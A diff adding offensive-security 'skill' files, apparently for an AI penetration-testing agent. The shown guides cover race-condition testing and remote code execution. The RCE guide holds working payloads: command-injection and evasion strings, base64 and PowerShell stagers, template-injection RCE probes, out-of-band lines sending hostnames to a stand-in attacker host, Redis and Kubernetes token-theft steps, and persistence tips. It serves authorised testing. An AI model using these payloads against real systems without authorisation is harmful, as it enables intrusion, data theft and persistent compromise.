- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: race-conditions
|
|
5
|
+
description: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Race Conditions
|
|
9
|
+
|
|
10
|
+
Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Read-Modify-Write**
|
|
15
|
+
- Sequences without atomicity or proper locking
|
|
16
|
+
|
|
17
|
+
**Multi-Step Operations**
|
|
18
|
+
- Check → reserve → commit with gaps between phases
|
|
19
|
+
|
|
20
|
+
**Cross-Service Workflows**
|
|
21
|
+
- Sagas, async jobs with eventual consistency
|
|
22
|
+
|
|
23
|
+
**Rate Limits and Quotas**
|
|
24
|
+
- Controls implemented at the edge only
|
|
25
|
+
|
|
26
|
+
## High-Value Targets
|
|
27
|
+
|
|
28
|
+
- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
|
|
29
|
+
- Coupons/discounts: single-use codes, stacking checks, per-user limits
|
|
30
|
+
- Quotas/limits: API usage, inventory reservations, seat counts, vote limits
|
|
31
|
+
- Auth flows: password reset/OTP consumption, session minting, device trust
|
|
32
|
+
- File/object storage: multi-part finalize, version writes, share-link generation
|
|
33
|
+
- Background jobs: export/import create/finalize endpoints; job cancellation/approve
|
|
34
|
+
- GraphQL mutations and batch operations; WebSocket actions
|
|
35
|
+
|
|
36
|
+
## Reconnaissance
|
|
37
|
+
|
|
38
|
+
### Identify Race Windows
|
|
39
|
+
|
|
40
|
+
- Look for explicit sequences: "check balance then deduct", "verify coupon then apply", "check inventory then purchase"
|
|
41
|
+
- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks
|
|
42
|
+
- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
|
|
43
|
+
- Map cross-service steps: when is state written vs published, what retries/compensations exist
|
|
44
|
+
|
|
45
|
+
### Signals
|
|
46
|
+
|
|
47
|
+
- Sequential request fails but parallel succeeds
|
|
48
|
+
- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
|
|
49
|
+
- Distinct response shapes/timings for simultaneous vs sequential requests
|
|
50
|
+
- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
|
|
51
|
+
|
|
52
|
+
## Key Vulnerabilities
|
|
53
|
+
|
|
54
|
+
### Request Synchronization
|
|
55
|
+
|
|
56
|
+
- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
|
|
57
|
+
- Last-byte synchronization: hold requests open and release final byte simultaneously
|
|
58
|
+
- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
|
|
59
|
+
|
|
60
|
+
### Idempotency and Dedup Bypass
|
|
61
|
+
|
|
62
|
+
- Reuse the same idempotency key across different principals/paths if scope is inadequate
|
|
63
|
+
- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
|
|
64
|
+
- App-level dedup drops only the response while side effects (emails/credits) still occur
|
|
65
|
+
|
|
66
|
+
### Atomicity Gaps
|
|
67
|
+
|
|
68
|
+
- Lost update: read-modify-write increments without atomic DB statements
|
|
69
|
+
- Partial two-phase workflows: success committed before validation completes
|
|
70
|
+
- Unique checks done outside a unique index/upsert: create duplicates under load
|
|
71
|
+
|
|
72
|
+
### Cross-Service Races
|
|
73
|
+
|
|
74
|
+
- Saga/compensation timing gaps: execute compensation without preventing the original success path
|
|
75
|
+
- Eventual consistency windows: act in Service B before Service A's write is visible
|
|
76
|
+
- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
|
|
77
|
+
|
|
78
|
+
### Rate Limits and Quotas
|
|
79
|
+
|
|
80
|
+
- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
|
|
81
|
+
- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
|
|
82
|
+
|
|
83
|
+
### Optimistic Concurrency Evasion
|
|
84
|
+
|
|
85
|
+
- Omit If-Match/ETag where optional; supply stale versions if server ignores them
|
|
86
|
+
- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
|
|
87
|
+
|
|
88
|
+
### Database Isolation
|
|
89
|
+
|
|
90
|
+
- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
|
|
91
|
+
- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
|
|
92
|
+
- Lock granularity issues: row vs table; application locks held only in-process
|
|
93
|
+
|
|
94
|
+
### Distributed Locks
|
|
95
|
+
|
|
96
|
+
- Redis locks without NX/EX or fencing tokens allow multiple winners
|
|
97
|
+
- Locks stored in memory on a single node; bypass by hitting other nodes/regions
|
|
98
|
+
|
|
99
|
+
## Bypass Techniques
|
|
100
|
+
|
|
101
|
+
- Distribute across IPs, sessions, and user accounts to evade per-entity throttles
|
|
102
|
+
- Switch methods/content-types/endpoints that trigger the same state change via different code paths
|
|
103
|
+
- Intentionally trigger timeouts to provoke retries that cause duplicate side effects
|
|
104
|
+
- Degrade the target (large payloads, slow endpoints) to widen race windows
|
|
105
|
+
|
|
106
|
+
## Special Contexts
|
|
107
|
+
|
|
108
|
+
### GraphQL
|
|
109
|
+
|
|
110
|
+
- Parallel mutations and batched operations may bypass per-mutation guards
|
|
111
|
+
- Ensure resolver-level idempotency and atomicity
|
|
112
|
+
- Persisted queries and aliases can hide multiple state changes in one request
|
|
113
|
+
|
|
114
|
+
### WebSocket
|
|
115
|
+
|
|
116
|
+
- Per-message authorization and idempotency must hold
|
|
117
|
+
- Concurrent emits can create duplicates if only the handshake is checked
|
|
118
|
+
|
|
119
|
+
### Files and Storage
|
|
120
|
+
|
|
121
|
+
- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects
|
|
122
|
+
- Re-use pre-signed URLs concurrently
|
|
123
|
+
|
|
124
|
+
### Auth Flows
|
|
125
|
+
|
|
126
|
+
- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions
|
|
127
|
+
- Verify consume is atomic
|
|
128
|
+
|
|
129
|
+
## Chaining Attacks
|
|
130
|
+
|
|
131
|
+
- Race + Business logic: violate invariants (double-refund, limit slicing)
|
|
132
|
+
- Race + IDOR: modify or read others' resources before ownership checks complete
|
|
133
|
+
- Race + CSRF: trigger parallel actions from a victim to amplify effects
|
|
134
|
+
- Race + Caching: stale caches re-serve privileged states after concurrent changes
|
|
135
|
+
|
|
136
|
+
## Scripts
|
|
137
|
+
|
|
138
|
+
Ready-to-run scripts for race condition testing are in `scripting.md`:
|
|
139
|
+
- **`race_http2.py`** — HTTP/2 single-packet attack with connection warming (primary tool)
|
|
140
|
+
- **`race_multiuser.py`** — Multi-session variant for cross-user/cross-account races
|
|
141
|
+
|
|
142
|
+
Save scripts to `tools/` and run: `python3 tools/race_http2.py`
|
|
143
|
+
Install dependency first: `pip install httpx[http2] --break-system-packages`
|
|
144
|
+
|
|
145
|
+
## Testing Methodology
|
|
146
|
+
|
|
147
|
+
1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow
|
|
148
|
+
2. **Identify reads/writes** - Where they occur (service, DB, cache)
|
|
149
|
+
3. **Baseline** - Single requests to establish expected behavior
|
|
150
|
+
4. **Concurrent requests** - Use `race_http2.py` (HTTP/2) or `race_multiuser.py` (multi-session)
|
|
151
|
+
5. **Scale and synchronize** - Ramp up N_REQUESTS; HTTP/2 multiplexing = last-byte sync
|
|
152
|
+
6. **Cross-channel** - Test across web, API, GraphQL, WebSocket
|
|
153
|
+
7. **Confirm durability** - Verify state changes persist and are reproducible
|
|
154
|
+
|
|
155
|
+
## Validation
|
|
156
|
+
|
|
157
|
+
1. Single request denied; N concurrent requests succeed where only 1 should
|
|
158
|
+
2. Durable state change proven (ledger entries, inventory counts, role/flag changes)
|
|
159
|
+
3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs
|
|
160
|
+
4. Evidence across channels (e.g., REST and GraphQL) if applicable
|
|
161
|
+
5. Include before/after state and exact request set used
|
|
162
|
+
|
|
163
|
+
## False Positives
|
|
164
|
+
|
|
165
|
+
- Truly idempotent operations with enforced ETag/version checks or unique constraints
|
|
166
|
+
- Serializable transactions or correct advisory locks/queues
|
|
167
|
+
- Visual-only glitches without durable state change
|
|
168
|
+
- Rate limits that reject excess with atomic counters
|
|
169
|
+
|
|
170
|
+
## Impact
|
|
171
|
+
|
|
172
|
+
- Financial loss (double spend, over-issuance of credits/refunds)
|
|
173
|
+
- Policy/limit bypass (quotas, single-use tokens, seat counts)
|
|
174
|
+
- Data integrity corruption and audit trail inconsistencies
|
|
175
|
+
- Privilege or role errors due to concurrent updates
|
|
176
|
+
|
|
177
|
+
## Pro Tips
|
|
178
|
+
|
|
179
|
+
1. Favor HTTP/2 with warmed connections; add last-byte sync for precision
|
|
180
|
+
2. Start small (N=5–20), then scale; too much noise can mask the window
|
|
181
|
+
3. Target read–modify–write code paths and endpoints with idempotency keys
|
|
182
|
+
4. Compare REST vs GraphQL vs WebSocket; protections often differ
|
|
183
|
+
5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics
|
|
184
|
+
6. Check unique constraints and upsert usage; avoid relying on pre-insert checks
|
|
185
|
+
7. Use correlation IDs and logs to prove concurrent interleaving
|
|
186
|
+
8. Widen windows by adding server load or slow backend dependencies
|
|
187
|
+
9. Validate on production-like latency; some races only appear under real load
|
|
188
|
+
10. Document minimal, repeatable request sets that demonstrate durable impact
|
|
189
|
+
|
|
190
|
+
## Summary
|
|
191
|
+
|
|
192
|
+
Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.
|
|
@@ -0,0 +1,240 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: rce
|
|
5
|
+
description: RCE testing covering command injection, deserialization, template injection, and code evaluation
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# RCE
|
|
9
|
+
|
|
10
|
+
Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Command Execution**
|
|
15
|
+
- OS command execution via wrappers (shells, system utilities, CLIs)
|
|
16
|
+
|
|
17
|
+
**Dynamic Evaluation**
|
|
18
|
+
- Template engines, expression languages, eval/vm
|
|
19
|
+
|
|
20
|
+
**Deserialization**
|
|
21
|
+
- Insecure deserialization and gadget chains across languages
|
|
22
|
+
|
|
23
|
+
**Media Pipelines**
|
|
24
|
+
- ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg
|
|
25
|
+
|
|
26
|
+
**SSRF Chains**
|
|
27
|
+
- Internal services exposing execution primitives (FastCGI, Redis)
|
|
28
|
+
|
|
29
|
+
**Container Escalation**
|
|
30
|
+
- App RCE to node/cluster compromise via Docker/Kubernetes
|
|
31
|
+
|
|
32
|
+
## Detection Channels
|
|
33
|
+
|
|
34
|
+
### Time-Based
|
|
35
|
+
|
|
36
|
+
**Unix**
|
|
37
|
+
- `;sleep 1`, `` `sleep 1` ``, `|| sleep 1`
|
|
38
|
+
- Gate delays with short subcommands to reduce noise
|
|
39
|
+
|
|
40
|
+
**Windows**
|
|
41
|
+
- CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1`
|
|
42
|
+
- PowerShell: `Start-Sleep -s 2`
|
|
43
|
+
|
|
44
|
+
### OAST
|
|
45
|
+
|
|
46
|
+
**DNS**
|
|
47
|
+
```bash
|
|
48
|
+
nslookup $(whoami).x.attacker.tld
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
**HTTP**
|
|
52
|
+
```bash
|
|
53
|
+
curl https://attacker.tld/$(hostname)
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### Output-Based
|
|
57
|
+
|
|
58
|
+
**Direct**
|
|
59
|
+
```bash
|
|
60
|
+
;id;uname -a;whoami
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
**Encoded**
|
|
64
|
+
```bash
|
|
65
|
+
;(id;hostname)|base64
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
## Key Vulnerabilities
|
|
69
|
+
|
|
70
|
+
### Command Injection
|
|
71
|
+
|
|
72
|
+
**Delimiters and Operators**
|
|
73
|
+
- Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab
|
|
74
|
+
- Windows: `& | || ^`
|
|
75
|
+
|
|
76
|
+
**Argument Injection**
|
|
77
|
+
- Inject flags/filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`)
|
|
78
|
+
- Break out of quoted segments by alternating quotes and escapes
|
|
79
|
+
- Environment expansion: `$PATH`, `${HOME}`, command substitution
|
|
80
|
+
- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
|
|
81
|
+
|
|
82
|
+
**Path and Builtin Confusion**
|
|
83
|
+
- Force absolute paths (`/usr/bin/id`) vs relying on PATH
|
|
84
|
+
- Use builtins or alternative tools (`printf`, `getent`) when `id` is filtered
|
|
85
|
+
- Use `sh -c` or `cmd /c` wrappers to reach the shell
|
|
86
|
+
|
|
87
|
+
**Evasion**
|
|
88
|
+
- Whitespace/IFS: `${IFS}`, `$'\t'`, `<`
|
|
89
|
+
- Token splitting: `w'h'o'a'm'i`, `w"h"o"a"m"i`
|
|
90
|
+
- Variable building: `a=i;b=d; $a$b`
|
|
91
|
+
- Base64 stagers: `echo payload | base64 -d | sh`
|
|
92
|
+
- PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))`
|
|
93
|
+
|
|
94
|
+
### Template Injection
|
|
95
|
+
|
|
96
|
+
Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
|
|
97
|
+
|
|
98
|
+
**Minimal Probes**
|
|
99
|
+
```
|
|
100
|
+
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
|
|
101
|
+
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
|
102
|
+
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
|
|
103
|
+
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
### Deserialization and EL
|
|
107
|
+
|
|
108
|
+
**Java**
|
|
109
|
+
- Gadget chains via CommonsCollections/BeanUtils/Spring
|
|
110
|
+
- Tools: ysoserial
|
|
111
|
+
- JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
|
|
112
|
+
|
|
113
|
+
**.NET**
|
|
114
|
+
- BinaryFormatter/DataContractSerializer
|
|
115
|
+
- APIs accepting untrusted ViewState without MAC
|
|
116
|
+
|
|
117
|
+
**PHP**
|
|
118
|
+
- `unserialize()` and PHAR metadata
|
|
119
|
+
- Autoloaded gadget chains in frameworks and plugins
|
|
120
|
+
|
|
121
|
+
**Python/Ruby**
|
|
122
|
+
- pickle, `yaml.load`/`unsafe_load`, Marshal
|
|
123
|
+
- Auto-deserialization in message queues/caches
|
|
124
|
+
|
|
125
|
+
**Expression Languages**
|
|
126
|
+
- OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec
|
|
127
|
+
|
|
128
|
+
### Media and Document Pipelines
|
|
129
|
+
|
|
130
|
+
**ImageMagick/GraphicsMagick**
|
|
131
|
+
- policy.xml may limit delegates; still test legacy vectors
|
|
132
|
+
```
|
|
133
|
+
push graphic-context
|
|
134
|
+
fill 'url(https://x.tld/a"|id>/tmp/o")'
|
|
135
|
+
pop graphic-context
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
**Ghostscript**
|
|
139
|
+
- PostScript in PDFs/PS: `%pipe%id` file operators
|
|
140
|
+
|
|
141
|
+
**ExifTool**
|
|
142
|
+
- Crafted metadata invoking external tools or library bugs
|
|
143
|
+
|
|
144
|
+
**LaTeX**
|
|
145
|
+
- `\write18`/`--shell-escape`, `\input` piping; pandoc filters
|
|
146
|
+
|
|
147
|
+
**ffmpeg**
|
|
148
|
+
- concat/protocol tricks mediated by compile-time flags
|
|
149
|
+
|
|
150
|
+
### SSRF to RCE
|
|
151
|
+
|
|
152
|
+
**FastCGI**
|
|
153
|
+
- `gopher://` to php-fpm (build FPM records to invoke system/exec)
|
|
154
|
+
|
|
155
|
+
**Redis**
|
|
156
|
+
- `gopher://` write cron/authorized_keys or webroot
|
|
157
|
+
- Module load when allowed
|
|
158
|
+
|
|
159
|
+
**Admin Interfaces**
|
|
160
|
+
- Jenkins script console, Spark UI, Jupyter kernels reachable internally
|
|
161
|
+
|
|
162
|
+
### Container and Kubernetes
|
|
163
|
+
|
|
164
|
+
**Docker**
|
|
165
|
+
- From app RCE, inspect `/.dockerenv`, `/proc/1/cgroup`
|
|
166
|
+
- Enumerate mounts and capabilities: `capsh --print`
|
|
167
|
+
- Abuses: mounted docker.sock, hostPath mounts, privileged containers
|
|
168
|
+
- Write to `/proc/sys/kernel/core_pattern` or mount host with `--privileged`
|
|
169
|
+
|
|
170
|
+
**Kubernetes**
|
|
171
|
+
- Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount`
|
|
172
|
+
- Query API for pods/secrets; enumerate RBAC
|
|
173
|
+
- Talk to kubelet on 10250/10255; exec into pods
|
|
174
|
+
- Escalate via privileged pods, hostPath mounts, or daemonsets
|
|
175
|
+
|
|
176
|
+
## Bypass Techniques
|
|
177
|
+
|
|
178
|
+
**Encoding Differentials**
|
|
179
|
+
- URL encoding, Unicode normalization, comment insertion, mixed case
|
|
180
|
+
- Request smuggling to reach alternate parsers
|
|
181
|
+
|
|
182
|
+
**Binary Alternatives**
|
|
183
|
+
- Absolute paths and alternate binaries (busybox, sh, env)
|
|
184
|
+
- Windows variations (PowerShell vs CMD)
|
|
185
|
+
- Constrained language bypasses
|
|
186
|
+
|
|
187
|
+
## Post-Exploitation
|
|
188
|
+
|
|
189
|
+
**Privilege Escalation**
|
|
190
|
+
- `sudo -l`; SUID binaries; capabilities (`getcap -r / 2>/dev/null`)
|
|
191
|
+
|
|
192
|
+
**Persistence**
|
|
193
|
+
- cron/systemd/user services; web shell behind auth
|
|
194
|
+
- Plugin hooks; supply chain in CI/CD
|
|
195
|
+
|
|
196
|
+
**Lateral Movement**
|
|
197
|
+
- SSH keys, cloud metadata credentials, internal service tokens
|
|
198
|
+
|
|
199
|
+
## Testing Methodology
|
|
200
|
+
|
|
201
|
+
1. **Identify sinks** - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks
|
|
202
|
+
2. **Establish oracle** - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)
|
|
203
|
+
3. **Confirm context** - User, working directory, PATH, shell, SELinux/AppArmor, containerization
|
|
204
|
+
4. **Map boundaries** - Read/write locations, outbound egress
|
|
205
|
+
5. **Progress to control** - File write, scheduled execution, service restart hooks
|
|
206
|
+
|
|
207
|
+
## Validation
|
|
208
|
+
|
|
209
|
+
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution
|
|
210
|
+
2. Show command context (uid, gid, cwd, env) and controlled output
|
|
211
|
+
3. Demonstrate persistence or file write under application constraints
|
|
212
|
+
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed
|
|
213
|
+
5. Keep PoCs minimal and reproducible across runs and transports
|
|
214
|
+
|
|
215
|
+
## False Positives
|
|
216
|
+
|
|
217
|
+
- Only crashes or timeouts without controlled behavior
|
|
218
|
+
- Filtered execution of a limited command subset with no attacker-controlled args
|
|
219
|
+
- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
|
|
220
|
+
- Simulated outputs not derived from executed commands
|
|
221
|
+
|
|
222
|
+
## Impact
|
|
223
|
+
|
|
224
|
+
- Remote system control under application user; potential privilege escalation to root
|
|
225
|
+
- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
|
|
226
|
+
- Cluster compromise when combined with container/Kubernetes misconfigurations
|
|
227
|
+
|
|
228
|
+
## Pro Tips
|
|
229
|
+
|
|
230
|
+
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise
|
|
231
|
+
2. When command injection is weak, pivot to file write or deserialization/SSTI paths
|
|
232
|
+
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates
|
|
233
|
+
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads
|
|
234
|
+
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps
|
|
235
|
+
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies
|
|
236
|
+
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops
|
|
237
|
+
|
|
238
|
+
## Summary
|
|
239
|
+
|
|
240
|
+
RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.
|